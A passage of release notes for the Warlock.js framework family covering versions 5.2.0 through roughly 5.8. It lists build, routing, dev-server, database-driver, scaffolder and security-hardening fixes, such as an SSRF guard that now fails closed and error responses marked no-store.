doctorgains ajwt-secretcheck: it fails whenauth.userTypeis configured but no JWT signing secret is set — the pre-flight form of the silent first-login 500 the lazy secret resolution would otherwise throw. - ChangedThe emitted generator and starter templates no longer carry a redundant
.required()—@warlock.js/sealfields are required by default, so the call was a no-op that taught the opposite of the truth..required()still exists for setting a custom message. - FixedCLI command modules now resolve the
app/*path alias and.tssiblings the way controllers and pages do. The ESM loader hook is registered before a command module is imported, so awarlock <command>file that importsapp/*no longer dies withERR_MODULE_NOT_FOUND. - Fixed
warlock generate.*error hints point atgenerate, not the removedcreate.*command. - FixedA generated CRUD repository imports every
@warlock.js/coretype it references, and a generated seed stub ships disabled so an unfilled stub cannot abort the wholewarlock seedrun. - FixedThe HTTP-port preflight runs only for a boot that actually starts the http connector, so a scoped data command (
warlock seed,migrate) no longer probes — and collides with — a port it never binds. - FixedA port-in-use error now names the
HTTP_PORTenvironment variable and tells you to unset it when an ambient value is the cause, instead of advising asrc/config/http.tsedit that the environment variable would just override.
- Added
Migration.foreignId(name)derives a foreign-key column's type frommigrationDefaults.primaryKey, so FK columns match the app's chosen primary-key type (integer / bigInteger / uuid). - FixedNumeric-looking Postgres connection config (e.g. a numeric
DB_NAME) is coerced to a string viabuildPostgresPoolConfig, instead of crashing the driver with an inscrutable buffer error.
- FixedDev SSR now emits the page's stylesheet
<link>in<head>, fixing a cold module-graph flash-of-unstyled-content — the first paint of a page whose CSS is reached only through the module graph is now styled in development, as it already was in production. - FixedA dev-mode SSR render error now reaches an unconditional stderr floor with a real diagnostic, instead of a diagnostic-free generic 500.
5.7.0September 12, 2026
A fresh project installs again on Node 22, the SSRF guard now fails closed on an address it cannot classify, and @warlock.js/web withdraws the 5.6.0-added route.validate / route.middleware — a page still declaring either refuses to boot. Fixes across core, web, ai, cascade, cache, logger, access, ai-openai and create-warlock.
Full release notes or run npx warlock release-notes.
- ChangedThe dev and production page installers now agree on the layout chain, the layout level, and the hydration entry URL by construction rather than by inspection, each gated with a red control. The three places they still differ — live
public/serving, its cache header, and hashed-asset caching — are deliberate and are now declared in the code that implements them. - FixedDev and production agree about stylesheets. A stylesheet reached only through a component import was collected by production's bundler-graph walk and was structurally invisible to dev's scan of the page file — so a page rendered unstyled in development and correct in production. Both sides now end in one traversal, gated by a fixture built through both pipelines with the outputs diffed.
- FixedA client navigation whose data payload is incomplete now loads the page normally instead of rendering it blank. Navigation carried its own copy of the payload rule and checked two of the six required keys, so a payload that could not render a page was accepted and handed to React anyway; the failure surfaced later, somewhere else, pointing at nothing. It now falls back to a full page load — slower for that one click, and the page arrives.
- FixedThe dev server no longer says it is watching for changes while it is not yet serving. On a slow boot that line arrived up to three minutes before the port was bound; every word of it was true and the impression it left was false.
- FixedThe
create-a-pageskill andllms-full.txttaughtroute.validateandroute.middleware— with a complete worked example — after both were withdrawn. Following our own documentation produced an app that would not start. - Removed
route.validateandroute.middlewareare withdrawn, one release after 5.6.0 added them. They were a second way to say what the top-levelvalidationandmiddlewareexports already said, on the same file — and the two validation surfaces disagreed about the status code. Migration is a move, not a rewrite: the schema shape is unchanged (paramsandquerystay separate, never merged) and the failure is still 400.
- ChangedInternal type-safety hardening across the CLI, dev server and request handling; no other behaviour change.
- FixedThe dev server no longer says it is watching for changes before it is serving. On a slow boot that line could arrive minutes before the port was bound.
- FixedThe dev-server error formatter can no longer throw while formatting an error, which replaced the developer's real error with its own crash.
- Fixed
warlock addwith an unknown feature now names it, instead of dying withCannot read properties of undefined. - FixedBracket-notation request bodies (
items[0][name]) no longer silently drop values. - Fixed
warlock routesand the circular-import report degrade to unaligned output instead of throwing on an unexpected shape. - SecurityThe SSRF guard now fails closed on an address it cannot classify. An unclassifiable IP was previously treated as public, so an outbound request could reach an internal address the guard exists to block.
- ChangedInternal type-safety hardening elsewhere; no other behaviour change.
- FixedThe Postgres query builder could quote a malformed or empty field path straight into generated SQL, producing a syntactically valid query against the wrong identifier; it now throws naming the offending field path instead.
- FixedThe MongoDB pipeline builder could build
$group,$lookup,$limit/$skip/$setWindowFieldsstages from an empty operation group, producing malformed stages (e.g.{ $limit: undefined }, a$lookupwith nofrom/localField/foreignField) that MongoDB rejected only at query execution. These now resolve to the documented safe defaults (null/skip) instead. - FixedThe dirty-change tracker and the MongoDB migration driver could write or delete the literal key
"undefined"on a document when a dirty-path segment was missing, instead of leaving the real field untouched. - FixedThe query builder's count and JSON-projection handling could dereference an absent regex capture and throw, instead of falling back to the same empty result its other branches already return.
- ChangedBreaking: indexing (
ragand the skills catalogue) now throwsEmbeddingVectorCountMismatchErrorwhen an embedding provider returns fewer vectors than records, instead of silently storing/scoring a record with no vector. Previously the run reported success while a document was left out of the index entirely. - ChangedInternal type-safety hardening; no other behaviour change.
- Fixed
embed()on a provider response with an emptydataarray now throwsEmbeddingVectorCountMismatchErrornaming the provider and expected/received counts, instead of a bareTypeError: Cannot read properties of undefined (reading 'embedding'). - FixedChat completions on a provider response with an empty
choicesarray now throw aProviderErrornaming the provider, model, and choice count, instead of a bareTypeError.
- ChangedInternal type-safety hardening elsewhere (similarity scoring, percentile calculation); no behaviour change.
- FixedThe in-memory cache driver's expiry sweep iterated
for...inwhile deleting entries from the same object it was iterating, which could skip not-yet-visited keys and leave them cached past their TTL. It now snapshots entries first.
- ChangedInternal type-safety hardening in the file-log and JSON file-log channels; no behaviour change.
- Fixed
redact()could leave a field un-redacted — writing to the literal key"undefined"instead of the intended path segment — when a configured redaction path had an empty segment.
- FixedA freshly scaffolded project could fail
npm installoutright on Node 22, crashing inside npm 10.9.x's Arborist peer resolver withCannot read properties of null (reading 'edgesOut')while resolving the template's vitest dependency. The template now pins vitest to 4.0.5. - FixedWhen the generated project's install failed, the scaffolder told the user to "fix the error above, then run the install again" — advice that could not be followed for an npm-internal crash. It now recognizes the npm 10.9.x Arborist crash and points to concrete next steps (npm 11, pnpm, or yarn) instead.
- Fixed
resolvePermissionscould pushundefinedinto a role's permission list when the role's stored value was missing, instead of granting that role no permissions. A role that cannot be read now grants nothing, rather than risking anundefinedentry reaching a permission check downstream.
- ChangedInternal type-safety hardening; no behaviour change.
- ChangedInternal type-safety hardening; no behaviour change.
- ChangedInternal type-safety hardening; no behaviour change.
- ChangedInternal type-safety hardening; no behaviour change.
- ChangedInternal type-safety hardening; no behaviour change.
- ChangedInternal type-safety hardening; no behaviour change.
- ChangedInternal type-safety hardening; no behaviour change.
5.6.0September 8, 2026
A built app could not boot under a strict pnpm tree. warlock build reported success and warlock start died with ERR_MODULE_NOT_FOUND for @fastify/http-proxy — the bundler left every bare specifier for the *app* to resolve, the framework's own dependencies included, and those resolve by accident under npm/yarn hoisting but cannot resolve under pnpm. Externality is now decided per import edge. Wildcard paths in your tsconfig.json (app/*, web/*) were resolved by nothing and reached the artifact as bare specifiers; they resolve now, and one that matches no file is a build error rather than a silent external. In @warlock.js/web: every rendered page returned 500 in warlock dev because the client boundary was decided by file location instead of the import graph, page files were discovered and ignored in silence, and a page can now declare its own input contract through route.validate and route.middleware.
Full release notes or run npx warlock release-notes.
- Changed
response.clearCookies()documents what it cannot do, in its first sentence: a cookie set on one path is not cleared by a call made from another. The behaviour is unchanged — the promise it appeared to make was never one it could keep. - ChangedThe router folds its own route prefixes through the same normaliser the rest of the framework uses, so a prefix cannot be normalised two different ways.
- FixedA production build asked the APP to resolve packages only the framework declares, so a built app could not boot under a strict pnpm tree. Every bare specifier was left external, including the
@fastify/*,find-my-way,fast-jwtand@mongez/*imports that reach the bundle through the framework's own code — none of which an app has any reason to declare. Under npm/yarn hoisting they resolved by accident; under pnpm the app died withERR_MODULE_NOT_FOUNDat startup, after a build that reported success. Externality is now decided per import edge: a bare specifier stays external unless the importer is not the app's own code AND the specifier names a package that importer's owndependenciesdeclare. - FixedAn optional peer still stays external, and now by construction rather than by a list.
nodemailer,socket.io,mongodb,vite,redis,pg, the AI SDKs and@aws-sdk/*are declared as peer dependencies, never dependencies, so the rule above leaves every one of them alone without anyone having to maintain a list of their names. - FixedWildcard
pathsintsconfig.jsonwere resolved by nothing.app/*andweb/*— the aliases an app uses to refer to its own source — were skipped because esbuild'saliasoption cannot express a wildcard, and nothing took over.import { User } from "app/users/models/user.model"survived into the artifact as a bare specifier andwarlock startfailed withCannot find package 'app'. They now resolve, and a wildcard that matches a declared alias but resolves to no file is a build error rather than a silent external. - Fixed
response.setLocale()wrote the locale cookie under a name spelled independently of the onerequestread it back under. One constant now owns that name at both ends, with a test that reads back whatever the writer emitted rather than naming the cookie itself. - FixedA container lookup that missed reported only that the key was not bound. When more than one copy of
@warlock.js/coreis loaded — which a source checkout or a mixed install can produce — that message described a real condition as if it were a wiring mistake. The failure now names the duplicate-instance condition and how many copies it found, on the failure path only.
- AddedA page can declare its input contract on its
routeexport. The export now accepts an object as well as a string:{ path, name?, cache?, validate?, middleware? }.validateis a Seal schema over{ params, query }— kept separate, never merged — and the validated value reaches the loader typed from the schema. A failure renders the error page at 400 carrying the failure, and travels the same way over the client-navigation wire. Layout middleware runs outermost-first with the page's own last, so a layout's auth gate cannot be bypassed by a page that declares its own. - Added
useQueryString(key)— a subscription to one query-string parameter that re-renders on client navigation. Wiring it up exposed thatrouterEventswas only ever fired byrefresh():<Link>and browser back/forward emitted nothing, so anything subscribed to navigation silently never updated. Navigation now emits its events on every path. - ChangedThe dev and production page installers now share their composition rules — layout-level selection, loader folding, route identity, and the duplicate-route message — instead of implementing them twice. A route collision reported in dev used to quote a dev-only file path in a message production also raises.
- ChangedThe published
./vitesubpath is a barrel again: the connector no longer authors Vite plugins, so importing the runtime never drags the build tooling in behind it. - ChangedImporting the metadata linter no longer pulls 4544 modules and 18 MB into a build-tool module for the sake of one function; it now costs 17 modules.
- ChangedOne name for one thing: "runtime" everywhere,
hydration/renamed toentry/, and four files renamed to match what they contain. - FixedEvery rendered page returned 500 in
warlock dev. The dev server decided the client/server boundary by FILE LOCATION — anything undersrc/web/**was treated as inherently client-safe — which contradicts the rule the production build applies and made a server-only import reachable from the client graph. Dev now decides the boundary by the import graph, exactly as production does. - FixedA page route could not be served at all in
warlock dev. The handler read the Fastify instance from the container while running inside Vite's SSR module graph, where that lookup can never hit. The instance is now resolved on the Node side and handed in. - FixedPage files were ignored in silence. A
*.page.tsxor a layout undersrc/app//web/was discovered by nothing and reported by nothing — an app with seven pages served zero. Discovery now NAMES every file it ignores, at boot, and for a layout it says what was lost: itsprefix,middlewareandloaderapply to no page, so a guard a page relied on is silently absent. - FixedA file added to
public/after the last build 404'd in production with no diagnostic. The build-time snapshot is deliberate and stays — but production now names the files its snapshot missed instead of failing them wordlessly. - FixedOne page that fails to import no longer takes the whole dev boot down with it.
- FixedWriting to
sharedfrom the browser failed with a message that read as a fixable wiring bug — "the server bootstrap must callconnectSharedStore(...)". It now names the value, explains that what the client holds is a dead server-render snapshot that can never be written to, and says what to use instead. - FixedThe
public/staleness check runs on every client build rather than only some.
- Fixed
warlock buildandwarlock startdied inside Seal before any application code ran, with aReferenceErrorfromarray-validator.tsextendingBaseValidatorbeforebase-validator.tshad finished evaluating. The cause was one inlinetypeimport: underverbatimModuleSyntax,import { type ValidateOptions } from "./validators"is emitted as a real side-effect import, which closed an import cycle that a type-only import would never have created. Written asimport type { ... }, the module is not pulled into evaluation at all. Nothing about the validators changed — only which modules load, and when.
5.5.0September 7, 2026
Two fixes for things that damaged or misled you. warlock add web silently overwrote an existing src/app/contact module — it protected src/web/root.tsx from clobbering your work but wrote the contact route and controller unconditionally; each file is now guarded on its own, and a skip tells you the contact form’s endpoint is missing rather than just naming a file. And the documentation shipped inside every package told you to run pnpm-specific commands — including pnpm warlock routes --json, which cannot work under npm at all — so 188 of them across 281 files are now package-manager neutral, with a check that keeps them that way.
Full release notes or run npx warlock release-notes.
- Fixed
warlock add websilently overwrote an existingsrc/app/contactmodule. It guardedsrc/web/root.tsxagainst clobbering a human's work but wrote the contact route and controller unconditionally, destroying them without a word. Each file is now guarded on its own existence, and a skip reports the consequence — that the contact form'sPOST /api/contactendpoint is missing and the form will 404 until you wire it. - FixedDocumentation shipped in
skills/told users to runpnpm-specific commands — includingpnpm warlock routes --json, which cannot work under npm at all, sincepnpm <binary>has no npm equivalent. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
- FixedDocumentation shipped in this package's
skills/told users to runpnpm-specific commands.pnpm <binary>has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
5.4.0September 7, 2026
The release the generator matrix caught. Every warlock add <feature> path now runs end to end in CI before a publish — and the first run found six defects a developer would have hit in their first hour: warlock routes --json printed its status banner into the JSON so the documented pipe could never work, warlock add react-email crashed on the scaffold’s own commented tsconfig.json, warlock add web shipped an app whose homepage returned 500 from a duplicate GET /, its generated code failed the scaffold’s own lint, and warlock add notifications generated a controller that did not compile.
Full release notes or run npx warlock release-notes.
- ChangedCommand success and failure banners now write to stderr, not stdout. stdout carries a command's output; status chrome carries no data. A script that captured only stdout to grep for
✔ … completed successfullymust now read stderr. Nothing could have depended on the previous behaviour for--json, whose payload was unparseable precisely because of it. - ChangedFeature generators that patch
tsconfig.jsonnow edit its text instead of parsing and rewriting it, so the file's comments survive. - Changed
warlock add weblocates an existingGET /by scanningsrc/app/**/routes.tsrather than assuming one hardcoded path. - Fixed
warlock routes --jsoncould not be parsed. The command's success banner shared stdout with the JSON payload, so the documented machine seam — "emit the routes as JSON for piping into scripts/CI" — produced output no consumer could read, and always had. - Fixed
warlock add react-emailfailed on every freshly scaffolded app. It read the projecttsconfig.jsonwithJSON.parse, and the scaffold's own tsconfig carries//comments, so the command aborted pointing at the developer's file. - Fixed
warlock add webproduced an app whose homepage returned HTTP 500.GET /was registered twice — by the scaffold's own home route and by the generated page — and Fastify refused the duplicate. Affected bothwarlock devandwarlock start. - Fixed
warlock add webgenerated code that failed the scaffold's own lint gate: twelveprettier/prettiererrors in files the developer had not written. - Fixed
warlock add notificationsgenerated a controller that did not compile — sevenTS2345errors from passingrequest.userwhere aNotifiable | Idwas required. - FixedEvery
warlockcommand opened a stdin handle at import time, through a module-level singleton whose constructor defaulted toprocess.stdin. Onlywarlock devhas any use for stdin.
5.3.2September 5, 2026
The release that made our own checks tell the truth. prettier --check had been reporting a clean workspace while checking four files, web had been failing 9 tests and its typecheck since before 5.3.0 with nothing saying so, and 57 interfaces imported as values were crashing the from-source boot. The release gate now runs every package’s own suite and refuses to pack a dirty one. Ports also stopped lying: a configured port is normalised before anything binds, the bound port is what gets reported, and a startup precondition that cannot clear itself stops instead of restart-looping forever. npm create warlock completes on a clean machine again.
Full release notes or run npx warlock release-notes.
- FixedAn
HTTP_PORTthat does not round-trip throughNumber()—03999," 3999",+3999,1e3— reached the HTTP boot path as a string.1e3bound port 1000 with no diagnostic anywhere, the port published to the ready signal was the raw configured value, andPortInUseError's suggestion string-concatenated intoport: 039991. A configured port is now resolved to a canonical integer before anything binds, logs or reports it, and a value that cannot become one fails naming it. - FixedAn ambient environment variable that overrode the app's own
.envdid so silently. The precedence is unchanged and deliberate — a checked-in.envis a default, an exported variable is the situational override — but the app now prints one line naming the variable, the value in effect, and that it came from the process environment. Keys that look like secrets are named with their values redacted. - FixedThe port reported to a supervisor, to
WARLOCK_TEST_SERVER_PORTand to the ready report was the configured port rather than the one actually bound. It is now read back from the addresslisten()resolves with, so the two can no longer diverge — including underhttp.port: 0, where the configured value carries no information at all. - Fixed
warlock devrestart-looped forever on a startup precondition that could never clear itself, reprinting its own diagnostic every few seconds and then scrolling it away with the restart banner. A failed precondition now stops, prints once, and exits. - FixedThe port preflight ran after the database connected, so a busy port took 7–13 seconds to report on the
warlock devpath. It now runs before the early-phase connectors, as it already did for a production build. - Fixed57 interfaces were imported as values across the package, each one crashing
warlock dev's from-source boot the moment its file reached the per-file transpiler — which has no type information and so cannot elide the import. - Fixed
localized()lost itsStandardSchemaV1typing in the published 5.3.0 and 5.3.1 tarballs. The typing is restored.
- Fixed
npm create warlockcould not complete on a clean machine. The starter'spreparescript ran husky, which needs a git repository, and the scaffolder installs before it runsgit init— so the install failed and the scaffolder aborted with an emptynode_modules, with and without--no-git. - FixedThe first
pnpm installin a fresh project failed withERR_PNPM_IGNORED_BUILDS. pnpm writespnpm-workspace.yamlwith a literalesbuild: set this to true or falseplaceholder when it meets an ignored build script non-interactively, and then rejects that value on the next install. The template now ships a decided value, so pnpm never writes the placeholder. - FixedA scaffolded app failed its own ESLint check on the first
warlock dev. Thewebfeature injected its connector import at the TOP ofwarlock.config.ts, ahead of the imports the template already had, and the generated app formats withprettier-plugin-organize-imports— so the injected line was out of order the moment it was written. It is now inserted in sorted position. - FixedRunning the scaffolder without a terminal — from CI, a script, or any non-interactive shell — died with
TTY initialization failed: uv_tty_init returned EBADF, a libuv internal shown to a developer whose only mistake was not being at a keyboard. A missing terminal is no longer an error when the flags already answer every prompt; only a genuinely unanswerable question stops the run, and it names--yesand the flags that supply it. - Removedhusky and its
preparescript from the starter. Note what goes with it: the generated project ships no CI, so the format, lint, typecheck and test that ran on commit are gone with nothing yet replacing them. That gap is tracked separately.
- FixedA page-file segment carrying a bracket but no complete group could reach the parameter-name read with nothing to read. Unreachable as the surrounding checks stand, and now stated as a guard rather than assumed, so a future narrowing of those checks fails here naming the segment instead of throwing further down.
5.3.1September 4, 2026
A republish of 5.3.0 as one complete set. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install, so npm create warlock@5.3.0 failed to resolve. 5.3.1 is the same code, verified by scaffolding, building and booting a real app from the public registry.
Full release notes or run npx warlock release-notes.
- Fixed
npm create warlock@5.3.1resolves and runs. The 5.3.0 scaffolder could not install, because the family's reciprocal exact peer requirements were unsatisfiable from a fresh registry install.
- FixedRepublished the complete family so a clean install resolves. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install; 5.3.1 is the same code, published as one complete set.
- FixedRepublished the complete family so a clean install resolves. Same code as 5.3.0, published as one complete set.
5.3.0September 3, 2026
The silent-failure release. Routing now validates every page path it derives — a directory that owned a layout prefix was skipping classification, letting two pages resolve to the same URL — and a page's declared route.path is validated for the first time. Error responses gained a no-store floor, warlock gen emits handlers that actually compile against v5, and the web layer ships a real 404 page and request-bound localization.
Full release notes or run npx warlock release-notes.
- AddedA standalone Warlock 404 page, styled and served by the web layer.
- AddedRequest-bound web localization: the active locale travels with the request rather than being read from ambient state.
- FixedThe 404 page's stylesheet was imported through a Vite-only
?url&inlinequery, which the release bundler could not resolve — the web package could not be built for publication at all. The stylesheet URL is now produced by a plain module, guarded by a test that keeps the emitted markup byte-exact against the CSS file. - FixedA directory that owned a layout
prefixwas never classified, so bracket syntax inside a group name went unexamined and two different pages could derive the same route. Every directory name is now validated before the route decides whether it contributes. - FixedA page's DECLARED
route.pathwas never validated — the validator had zero callers. - FixedBracket syntax inside a group name is rejected instead of silently deriving a route.
- Fixed
discover-pagesnow composes paths through the same validated seam as the rest of routing, so the two can no longer disagree. - FixedAn unobservable auth mark revokes a cache opt-in: unproven now means revoked, not assumed safe.
- ChangedA request is marked auth-derived the moment
userordecodedAccessTokenis assigned, so cacheability is decided by what the request actually read rather than by a separate declaration. - FixedEvery error response was cacheable. The
no-storefloor is now set at the single error funnel, so an error can no longer be served from a cache to a second request. - Fixed
warlock genemitted controllers with v4 handler signatures — every generated controller failed to compile against the v5 contract. The generator now emits the v5ctxobject signature. - FixedA validated file field was inferred as
unknown; the sweep that found it found a second occurrence, and both are fixed. - RemovedFive unreachable error branches that described a response the framework never sent.
- AddedA browser gate for the freshly scaffolded starter, so the generated project is exercised in a real browser rather than assumed to work.
- ChangedThe web starter template migrated to the current page contract, with a pinned home route identity so SSR and hydration agree on one route name.
- FixedThe scaffolder no longer parses CSS as TypeScript.
5.2.4September 2, 2026
Web starter HMR repair. warlock add web now isolates universal page registration in a stable sidecar so React Fast Refresh preserves component state while SSR and hydration keep the same lifecycle.
Full release notes or run npx warlock release-notes.
- Fixed
warlock add webnow writes universal page setup tosrc/web/index.register.tsand re-exportsregister()from the page, preserving component state across React Fast Refresh edits without changing SSR or hydration registration.
5.2.3September 2, 2026
Generator repair. warlock add preserves exact Warlock family pins, while warlock add web emits a projection-safe generated page with one index identity shared by SSR and hydration plus deterministic favicon and form IDs that remove the generated-page console errors. Published fixes only: the Web starter remains under release-gate hold pending 5.2.4.
Full release notes or run npx warlock release-notes.
- Fixed
warlock addnow preserves exact lockstep versions for added Warlock family packages while retaining declared ranges for third-party dependencies. - Fixed
warlock add webnow emits a projection-saferegister()hook and oneindexroute identity for SSR and hydration, with deterministic form and favicon markup for a clean browser console.
- FixedThe generated Web starter now projects and hydrates unchanged with one
indexpage identity, universal localization registration, and deterministic browser markup.
- FixedNew projects now resolve and stamp the coherent 5.2.3 family, making the repaired Web generator the default scaffold path.
5.2.2September 2, 2026
Lockstep packaging repair. Restores exact 5.2.2 pins across the complete Warlock package family after the partial 5.2.0 and 5.2.1 releases could not satisfy reciprocal exact peers. Known issue: warlock add web generates an app that does not boot or hydrate.
Full release notes or run npx warlock release-notes.
- FixedRestored exact 5.2.2 pins across the complete Warlock family. The partial 5.2.0 and 5.2.1 releases could not satisfy the family's reciprocal exact peer requirements in a clean install.
- FixedRestored exact Core and Seal peer pins at the family's shared 5.2.2 version. The partial 5.2.1 release could not satisfy reciprocal family peer pins.
- AddedA resolver-boundary check (
scripts/check-resolver-boundaries.mjs), run in CI. Everypackage.jsonin the checkout is treated as a publish boundary; the script walks each package'stsconfig.jsonpathsand anyvite.config.*/vitest.config.*alias and fails if one resolves outside its own package. A test/build-only alias that reaches into a sibling checkout (e.g.../core/src) proves nothing about the published package — it resolves locally today and 404s the moment the package is installed on its own. Covered byspecs/resolver-boundaries.spec.ts. - Added
--help/--versionare now exercised end to end (specs/cli-entry.spec.ts): both exit 0 beforecreateNewAppruns — no prompt, filesystem write, or network call — and--helpwins even over a positional project name and other flags.--versionprints this package's ownpackage.jsonversion, pinned loosely (a bare semver-ish string) since the exact value drifts every release. - AddedA CI workflow (
.github/workflows/ci.yml), with two jobs:specs(resolver-boundary check, a--versionsmoke test asserting the built CLI's reported version matchespackage.json, thenvitest) andscaffold-typecheck(the existingtypecheck:scaffoldgate, scaffolding a real project and installing it).specsruns on pushes tomain/masterand every pull request; both jobs also run nightly (schedule: cron "0 4 * * *") plusworkflow_dispatch, since the scaffold-typecheck gate installs the framework from the registry and can go red from a framework release alone, without anyone touching this repo.
5.2.1September 2, 2026
Packaging repair. @warlock.js/core rebuilds the published manifest with the complete family registry and npm-resolvable internal ranges after 5.2.0 leaked workspace: specifications, while @warlock.js/web tightens its Core and Seal peer ranges; this partial family release still could not satisfy the family's reciprocal exact pins.
Full release notes or run npx warlock release-notes.
- FixedRebuilt the published package with the complete Warlock family registry and installable npm ranges for every internal dependency. The 5.2.0 registry manifest leaked six
workspace:dependency specifications and could not be installed outside the monorepo.
- FixedTightened the Core and Seal peer ranges to
^5.2.0. Web 5.2 production code imports Core APIs that were not available in Core 5.0, while the former Seal*range promised compatibility across unrelated major versions.
5.2.0September 2, 2026
Web routing and production-build release. @warlock.js/web adds filesystem-derived routes, error boundaries, universal registration, live development route updates, and stricter client safety; @warlock.js/core adds connector build hooks, warlock routes:diff, validated proxy configuration, atomic build promotion, and start-time artifact checks.
Full release notes or run npx warlock release-notes.
- Added
error.page.tsx— the application's one error boundary. It renders when a middleware, loader, or component throws; declares noroute, exactly like404.page.tsx; and a seconderror.page.tsxanywhere beneathsrc/webis a build error. Its component receives{ error, status }— the real thrown value during SSR, a JSON-safe{ name, message, stack? }after hydration.robots: noindexis a framework default on this path and cannot be overridden away. If the failure happens before any page module could load — a module-load orregister()throw — the response falls back further, to a framework-owned boundary with no application code at all, and is served without a hydration script rather than risk hydrating against markup nothing can vouch for. - AddedA page's
routeexport is now optional. A*.page.tsxwith noroutederives its path and its name from its location beneathsrc/web: directories contribute segments,(group)directories contribute nothing,index.page.tsxclaims its own directory, and[id]becomes:id. An explicitroutestill always wins over the derived one. This replaces the 5.1 behaviour, where an omittedroutethrewMissingRouteExportErrorat install time — that error class no longer exists. - AddedLive page-route re-registration in
warlock dev. Creating, deleting, or editing a page'srouteexport used to require a manual restart to take effect — the route table was built once at boot and never again, so a renamed route kept serving its old path and a deleted page kept 404-ing at its old URL forever. The dev connector now re-registers the affected routes in place, atomically, with no dev-server restart and no loss of Vite's HMR state. A component-body-only edit still takes the ordinary Fast Refresh path; only membership and route-identity changes go through this path. - AddedA dev-only diagnostic for a page file that exists but isn't reachable. When a request 404s, Warlock checks whether an unregistered
*.page.tsxundersrc/webwould have matched it, and if so, warns naming the file. This is the case that used to be silent: a page created after boot, or one whoseroutewas edited to a path nothing else claims, previously 404'd with no explanation anywhere in the terminal. - Added
export const register— an optional, synchronous, no-argument hook onroot.tsx,layout.tsx, and*.page.tsx. It runs once per module namespace instance, on both the server and the browser, before that module's middleware or loader — the seam for one-time setup a page or layout needs on both sides of hydration. It must not return a Promise; returning one throws. - ChangedPage requests now tolerate one trailing slash identically in development and production.
/aboutand/about/serve the same page;/remains the root path and case handling is unchanged. Previously the development dispatcher accepted the slash while the production Fastify route returned 404. - Changed⚠ BREAKING —
process.envis refused entirely in the client/universal graph, and there is noPUBLIC_exception. Neither a static key (process.env.PUBLIC_API_URL) nor a computed one (process.env[key]) is allowed:processdoes not exist in a browser, so there is no such thing as a "public"process.envkey. Bare value-reads of the object now fail too —const { X } = process.env,{ ...process.env },Object.keys(process.env),JSON.stringify(process.env), or passing it as an argument — which is the case that previously let an entire server environment reach a component in one line while every keyed read was being refused.globalThis.process.env,window.process.envandprocess["env"]are matched as well. - Changed⚠ **BREAKING — a
*.page.tsxwith no default export is now a hard discovery/build failure, naming the file.** It previously built and registered, then served a blank200at its URL — a page that looked deployed, rendered nothing, and produced no error anywhere. - ChangedInitial stylesheet links are route-scoped in development and production. Each response now links the ordered, deduplicated CSS chain for its own
[root, ...matched layouts, page]. Production follows those source entries and their static imports in Vite's manifest instead of collecting CSS across the whole application; development promotes direct stylesheet imports from the matched page and layouts as well as the root. Unrelated page CSS no longer ships on every response, and page-local critical CSS no longer waits for hydration in development. - ChangedThe production static-asset refusal now names the working 5.2 alternative. Imported non-stylesheet assets still work under Vite in development but are refused by the esbuild server bundle rather than risk a server/client URL mismatch. The diagnostic now tells the developer to place the file under the application's
public/directory and reference its root URL (public/logo.svg→/logo.svg) instead of waiting for an unspecified future server build. Stylesheet imports remain supported. - ChangedLoader execution is sequential, root to leaf, and terminal responses stop lower work. The
root.tsxApp loader runs first, followed by every matched layout loader from outermost to innermost, then the page loader. The runtime has three top-level slots (app,layout,page), but the layout slot composes the full matched layout chain. A page still has at most one _rendering_ layout; loader-only and middleware-only layouts may appear at multiple ancestry levels. - ChangedCatch-all page routes are documented as unsupported.
[...slug].page.tsxdoes not do what it looks like: filesystem routing recognizes only[name]as a dynamic segment, so[...slug]is taken as a literal segment and derives the path/docs/[...slug]and the namedocs.[...slug]— reachable only at the literal URL/docs/%5B...slug%5D. ⚠ Nothing warns about it: no build error, no dev warning, no refusal, just a page that answers a URL nobody will request. A real catch-all is deferred; until then use a terminal wildcard with an explicit route (route = { path: "/docs/*" }). This entry records the gap, it does not close it. - Changed
src/webis the only page root. A per-modulesrc/app/<module>/web/tree is no longer discovered, walked, or installed as a page root by eitherwarlock devorwarlock build. Move any page, layout, or root file that lived undersrc/app/<module>/web/intosrc/web/(a subdirectory is fine — it still contributes a route segment the same way). - FixedA custom
404.page.tsxloader no longer executes. The not-found page still registers and renders its real module namespace, but its request triple omits the page loader in both development and production. A missing URL therefore cannot trigger application data work, redirect, or fail a second time through the fallback itself.
- AddedConnectors can contribute to
